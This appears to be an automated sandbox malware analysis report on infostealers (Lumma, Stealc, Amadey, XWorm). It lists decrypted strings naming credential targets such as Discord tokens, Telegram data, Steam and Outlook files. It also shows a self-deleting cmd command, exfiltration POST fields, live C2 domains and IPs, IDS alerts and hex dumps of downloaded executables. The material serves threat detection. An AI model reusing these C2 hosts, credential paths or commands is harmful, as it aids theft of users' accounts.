Source: 40.0.num.exe.580000.0.unpack String decryptor: - Display Resolution:
Source: 40.0.num.exe.580000.0.unpack String decryptor: - GPU:
Source: 40.0.num.exe.580000.0.unpack String decryptor: User Agents:
Source: 40.0.num.exe.580000.0.unpack String decryptor: Installed Apps:
Source: 40.0.num.exe.580000.0.unpack String decryptor: All Users:
Source: 40.0.num.exe.580000.0.unpack String decryptor: Current User:
Source: 40.0.num.exe.580000.0.unpack String decryptor: Process List:
Source: 40.0.num.exe.580000.0.unpack String decryptor: system_info.txt
Source: 40.0.num.exe.580000.0.unpack String decryptor: freebl3.dll
Source: 40.0.num.exe.580000.0.unpack String decryptor: mozglue.dll
Source: 40.0.num.exe.580000.0.unpack String decryptor: msvcp140.dll
Source: 40.0.num.exe.580000.0.unpack String decryptor: nss3.dll
Source: 40.0.num.exe.580000.0.unpack String decryptor: softokn3.dll
Source: 40.0.num.exe.580000.0.unpack String decryptor: vcruntime140.dll
Source: 40.0.num.exe.580000.0.unpack String decryptor: \Temp\
Source: 40.0.num.exe.580000.0.unpack String decryptor: .exe
Source: 40.0.num.exe.580000.0.unpack String decryptor: runas
Source: 40.0.num.exe.580000.0.unpack String decryptor: open
Source: 40.0.num.exe.580000.0.unpack String decryptor: /c start
Source: 40.0.num.exe.580000.0.unpack String decryptor: %DESKTOP%
Source: 40.0.num.exe.580000.0.unpack String decryptor: %APPDATA%
Source: 40.0.num.exe.580000.0.unpack String decryptor: %LOCALAPPDATA%
Source: 40.0.num.exe.580000.0.unpack String decryptor: %USERPROFILE%
Source: 40.0.num.exe.580000.0.unpack String decryptor: %DOCUMENTS%
Source: 40.0.num.exe.580000.0.unpack String decryptor: %PROGRAMFILES%
Source: 40.0.num.exe.580000.0.unpack String decryptor: %PROGRAMFILES_86%
Source: 40.0.num.exe.580000.0.unpack String decryptor: %RECENT%
Source: 40.0.num.exe.580000.0.unpack String decryptor: *.lnk
Source: 40.0.num.exe.580000.0.unpack String decryptor: files
Source: 40.0.num.exe.580000.0.unpack String decryptor: \discord\
Source: 40.0.num.exe.580000.0.unpack String decryptor: \Local Storage\leveldb\CURRENT
Source: 40.0.num.exe.580000.0.unpack String decryptor: \Local Storage\leveldb
Source: 40.0.num.exe.580000.0.unpack String decryptor: \Telegram Desktop\
Source: 40.0.num.exe.580000.0.unpack String decryptor: key_datas
Source: 40.0.num.exe.580000.0.unpack String decryptor: D877F783D5D3EF8C*
Source: 40.0.num.exe.580000.0.unpack String decryptor: map*
Source: 40.0.num.exe.580000.0.unpack String decryptor: A7FDF864FBC10B77*
Source: 40.0.num.exe.580000.0.unpack String decryptor: A92DAA6EA6F891F2*
Source: 40.0.num.exe.580000.0.unpack String decryptor: F8806DD0C461824F*
Source: 40.0.num.exe.580000.0.unpack String decryptor: Telegram
Source: 40.0.num.exe.580000.0.unpack String decryptor: Tox
Source: 40.0.num.exe.580000.0.unpack String decryptor: *.tox
Source: 40.0.num.exe.580000.0.unpack String decryptor: *.ini
Source: 40.0.num.exe.580000.0.unpack String decryptor: Password
Source: 40.0.num.exe.580000.0.unpack String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 40.0.num.exe.580000.0.unpack String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 40.0.num.exe.580000.0.unpack String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 40.0.num.exe.580000.0.unpack String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 40.0.num.exe.580000.0.unpack String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 40.0.num.exe.580000.0.unpack String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 40.0.num.exe.580000.0.unpack String decryptor: 00000001
Source: 40.0.num.exe.580000.0.unpack String decryptor: 00000002
Source: 40.0.num.exe.580000.0.unpack String decryptor: 00000003
Source: 40.0.num.exe.580000.0.unpack String decryptor: 00000004
Source: 40.0.num.exe.580000.0.unpack String decryptor: \Outlook\accounts.txt
Source: 40.0.num.exe.580000.0.unpack String decryptor: Pidgin
Source: 40.0.num.exe.580000.0.unpack String decryptor: \.purple\
Source: 40.0.num.exe.580000.0.unpack String decryptor: accounts.xml
Source: 40.0.num.exe.580000.0.unpack String decryptor: dQw4w9WgXcQ
Source: 40.0.num.exe.580000.0.unpack String decryptor: token:
Source: 40.0.num.exe.580000.0.unpack String decryptor: Software\Valve\Steam
Source: 40.0.num.exe.580000.0.unpack String decryptor: SteamPath
Source: 40.0.num.exe.580000.0.unpack String decryptor: \config\
Source: 40.0.num.exe.580000.0.unpack String decryptor: ssfn*
Source: 40.0.num.exe.580000.0.unpack String decryptor: config.vdf
Source: 40.0.num.exe.580000.0.unpack String decryptor: DialogConfig.vdf
Source: 40.0.num.exe.580000.0.unpack String decryptor: DialogConfigOverlay*.vdf
Source: 40.0.num.exe.580000.0.unpack String decryptor: libraryfolders.vdf
Source: 40.0.num.exe.580000.0.unpack String decryptor: loginusers.vdf
Source: 40.0.num.exe.580000.0.unpack String decryptor: \Steam\
Source: 40.0.num.exe.580000.0.unpack String decryptor: sqlite3.dll
Source: 40.0.num.exe.580000.0.unpack String decryptor: browsers
Source: 40.0.num.exe.580000.0.unpack String decryptor: done
Source: 40.0.num.exe.580000.0.unpack String decryptor: soft
Source: 40.0.num.exe.580000.0.unpack String decryptor: \Discord\tokens.txt
Source: 40.0.num.exe.580000.0.unpack String decryptor: /c timeout /t 5 & del /f /q "
Source: 40.0.num.exe.580000.0.unpack String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 40.0.num.exe.580000.0.unpack String decryptor: C:\Windows\system32\cmd.exe
Source: 40.0.num.exe.580000.0.unpack String decryptor: https
Source: 40.0.num.exe.580000.0.unpack String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 40.0.num.exe.580000.0.unpack String decryptor: POST
Source: 40.0.num.exe.580000.0.unpack String decryptor: HTTP/1.1
Source: 40.0.num.exe.580000.0.unpack String decryptor: Content-Disposition: form-data; name="
Source: 40.0.num.exe.580000.0.unpack String decryptor: hwid
Source: 40.0.num.exe.580000.0.unpack String decryptor: build
Source: 40.0.num.exe.580000.0.unpack String decryptor: token
Source: 40.0.num.exe.580000.0.unpack String decryptor: file_name
Source: 40.0.num.exe.580000.0.unpack String decryptor: file
Source: 40.0.num.exe.580000.0.unpack String decryptor: message
Source: 40.0.num.exe.580000.0.unpack String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 40.0.num.exe.580000.0.unpack String decryptor: screenshot.jpg
Source: 17.0.XC.exe.d20000.0.unpack String decryptor: didjmdk3nindi3nd.zapto.org,70.241.39.14
Source: 17.0.XC.exe.d20000.0.unpack String decryptor: 7000
Source: 17.0.XC.exe.d20000.0.unpack String decryptor: <123456789>
Source: 17.0.XC.exe.d20000.0.unpack String decryptor: <Xwormmm>
Source: 17.0.XC.exe.d20000.0.unpack String decryptor: vic
Source: 17.0.XC.exe.d20000.0.unpack String decryptor: USB.exe
Source: 17.0.XC.exe.d20000.0.unpack String decryptor: %Userprofile%
Source: 17.0.XC.exe.d20000.0.unpack String decryptor: XC.exe
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49706 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49708 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49723 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49732 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49743 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49989 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49991 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49992 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49993 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49994 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49996 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50000 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50003 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50012 version: TLS 1.2
Source: Binary string: my_library.pdbU source: 0322d7d8d5.exe, 00000013.00000003.2395851791.000000000538B000.00000004.00001000.00020000.00000000.sdmp, 0322d7d8d5.exe, 00000013.00000002.2454730421.0000000000BEC000.00000040.00000001.01000000.00000010.sdmp, num.exe, 00000028.00000000.2521635017.00000000005AC000.00000008.00000001.01000000.00000019.sdmp
Source: Binary string: my_library.pdb source: 0322d7d8d5.exe, 00000013.00000003.2395851791.000000000538B000.00000004.00001000.00020000.00000000.sdmp, 0322d7d8d5.exe, 00000013.00000002.2454730421.0000000000BEC000.00000040.00000001.01000000.00000010.sdmp, num.exe, 00000028.00000000.2521635017.00000000005AC000.00000008.00000001.01000000.00000019.sdmp
Source: Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe, 0000000A.00000002.1636473890.0000000000D42000.00000040.00000001.01000000.00000006.sdmp, P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe, 0000000A.00000003.1501462912.0000000004D60000.00000004.00001000.00020000.00000000.sdmp
Source: firefox.exe Memory has grown: Private usage: 1MB later: 50MB

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.7:52555 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.7:50229 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.7:59402 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.7:49845 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.7:54435 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49704 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49708 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49705 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49703 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49732 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49743 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49723 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49706 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49984 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.7:49981 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.7:49982
Source: Network traffic Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.7:61696 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.7:54217 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.7:57817 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.7:65136 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49989 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49988 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49991 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49992 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49993 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49994 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49996 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49995 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49999 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50003 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50001 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50000 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.7:62622 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.7:56284 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.7:65141 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.7:63586 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50012 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:50009 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:50014 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49704 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49704 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49703 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49703 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49705 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49991 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49991 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49992 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50003 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49743 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49989 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49989 -> 188.114.96.3:443
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor URLs: navygenerayk.store
Source: Malware configuration extractor URLs: founpiuer.store
Source: Malware configuration extractor URLs: necklacedmny.store
Source: Malware configuration extractor URLs: crisiwarny.store
Source: Malware configuration extractor URLs: presticitpo.store
Source: Malware configuration extractor URLs: thumbystriw.store
Source: Malware configuration extractor URLs: fadehairucw.store
Source: Malware configuration extractor URLs: scriptyprefej.store
Source: Malware configuration extractor URLs: didjmdk3nindi3nd.zapto.org
Source: Malware configuration extractor URLs: 70.241.39.14
Source: Malware configuration extractor IPs: 185.215.113.43
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.7:49986 -> 70.241.39.14:7000
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 15:35:22 GMTContent-Type: application/octet-streamContent-Length: 2795520Last-Modified: Thu, 31 Oct 2024 15:29:41 GMTConnection: keep-aliveETag: "6723a265-2aa800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 b5 54 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 69 6d 65 70 6d 63 6e 00 60 2a 00 00 a0 00 00 00 48 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 73 66 6c 7a 67 6a 71 00 20 00 00 00 00 2b 00 00 04 00 00 00 82 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 86 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 15:35:25 GMTContent-Type: application/octet-streamContent-Length: 1894400Last-Modified: Thu, 31 Oct 2024 15:22:44 GMTConnection: keep-aliveETag: "6723a0c4-1ce800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 50 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 4b 00 00 04 00 00 30 1b 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 84 35 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 35 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d8 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 62 72 72 69 62 6b 67 00 d0 19 00 00 70 31 00 00 ca 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 62 68 61 6f 71 61 62 00 10 00 00 00 40 4b 00 00 06 00 00 00 c0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 4b 00 00 22 00 00 00 c6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
